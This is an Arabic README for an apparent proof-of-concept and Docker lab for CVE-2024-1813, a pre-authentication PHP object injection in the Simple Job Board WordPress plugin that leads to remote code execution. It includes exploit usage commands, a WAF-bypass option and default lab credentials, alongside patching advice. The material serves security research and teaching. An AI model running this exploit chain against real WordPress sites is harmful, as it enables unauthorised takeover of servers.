
من البداية إلى النهاية: يخزّن زائر كائن PHP مُسلسَلًا عبر نموذج التقديم العام، ثم يفتح المدير قائمة المتقدمين، فتُسقط سلسلة الأدوات (gadget chain) قشرة ويب (webshell).
حقن كائنات PHP دون مصادقة في إضافة ووردبريس Simple Job Board (من PressTigers). يخزّن زائر كائن PHP مُسلسَلًا عبر نموذج التقديم العام؛ وعندما يفتح المدير لاحقًا قائمة المتقدمين، تقوم الإضافة بإلغاء تسلسله (unserialize) وتحوّله سلسلة أدوات تابعة لجهة خارجية إلى تنفيذ تعليمات برمجية عن بُعد.
| CVE | CVE-2024-1813 |
| الإضافة | Simple Job Board (PressTigers) |
| الإصدار المعرّض | ≤ 2.11.0 |
| الإصدار المُصحَّح | 2.11.1 |
| النوع | حقن كائنات PHP (إلغاء تسلسل غير آمن) |
| المصادقة | لا شيء (حقن قبل المصادقة) |
| المحفّز | فتح المدير لقائمة المتقدمين (سير عمل عادي) |
| CVSS | 9.8 |
📖 الشرح الفني الكامل: https://mobeta.fr/blog/
هذا المستودع هو المختبر المرافق وإثبات المفهوم (PoC). التحليل المفصّل (السبب الجذري، و
unserializeالمزدوج، وبناء سلسلة POP، وتجاوز WAF) موجود في مقالة المدونة.
.
├── sjb_cve_2024_1813.py # the PoC (builds + sends the payload)
├── LICENSE
└── lab/
├── docker-compose.yml # WordPress + MariaDB + vulnerable plugins
├── setup/setup.sh # one-shot provisioning (wp-cli)
└── trigger_exploit.sh # simulates the admin opening the applicants list
يعيد إنتاج البيئة المعرّضة للخطر: WordPress 6.9.4 / PHP 8.3 / MariaDB 10.11 مع Simple Job Board 2.10.8 (المصدر + الحوض) وAll In One SEO 4.5.6 (سلسلة الأدوات).
cd lab
docker compose up -d # boot + auto-provision
docker compose logs setup # prints the site URL, admin creds and job_id
البيانات الافتراضية للمختبر: http://localhost:8081، المدير admin / admin123!.
# 1. Store the payload (pre-auth). Replace 4 with the job_id from the setup logs.
python3 sjb_cve_2024_1813.py http://localhost:8081 4 'id > /tmp/RCE_PROOF.txt'
# 2. Fire the sink (plays the admin opening the applicants list).
cd lab && ./trigger_exploit.sh
# 3. Check the result.
docker exec sjb_lab_wp cat /tmp/RCE_PROOF.txt
خيارات مفيدة لإثبات المفهوم (PoC):
--print-only - بناء الحمولة المرسلة عبر الشبكة وطباعتها دون أي حركة مرور شبكية.--field - اسم حقل POST (يجب أن يحتوي على name؛ الافتراضي jobapp_full_name).--int-prefix '+' - صيغة مختلفة لتجاوز WAF لبادئة الطول في البيانات المُسلسَلة.--proxy http://127.0.0.1:8080 - التوجيه عبر Burp.unserialize() / maybe_unserialize() على post_meta؛ وفضّل استخدام unserialize($data, ['allowed_classes' => false]).vendor/composer/installed.json بحيث لا يمكن التعرف على إصدارات المكتبات المعزولة (scoped) عبر البصمة الرقمية.للاستخدام في اختبارات الأمان المصرَّح بها والأغراض التعليمية فقط. لا تشغّل هذا أبدًا ضد أي نظام دون إذن كتابي صريح من مالكه.
MIT - انظر LICENSE.